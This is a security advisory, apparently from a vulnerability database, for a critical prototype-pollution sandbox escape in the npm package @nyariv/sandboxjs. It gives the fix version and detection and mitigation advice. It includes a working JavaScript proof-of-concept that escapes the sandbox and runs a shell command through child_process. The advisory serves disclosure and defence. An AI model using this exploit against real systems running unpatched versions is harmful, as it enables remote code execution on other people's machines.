SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCEGHSA-9p4w-fq8m-2hp7
CRITICALFix: nyariv/SandboxJS@75c8009GHSA-9p4w-fq8m-2hp7 is a critical-severity (CVSS 10) Code Injection vulnerability in @nyariv/sandboxjs. A fix is available for @nyariv/sandboxjs — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9p4w-fq8m-2hp7.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nyariv/sandboxjsnpmDescription
Summary
SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
Details
The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`
sb.compile(payload)().run();
Impact
Prototype Pollution -> RCE
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nyariv/sandboxjs | all versions | 0.8.27npm install @nyariv/sandboxjs@0.8.27 |
Affected Products
sandboxjsnyarivDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nyariv/sandboxjs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nyariv/sandboxjs to 0.8.27 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9p4w-fq8m-2hp7 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-9p4w-fq8m-2hp7 in your dependencies?
Find it across npm, including transitive dependencies.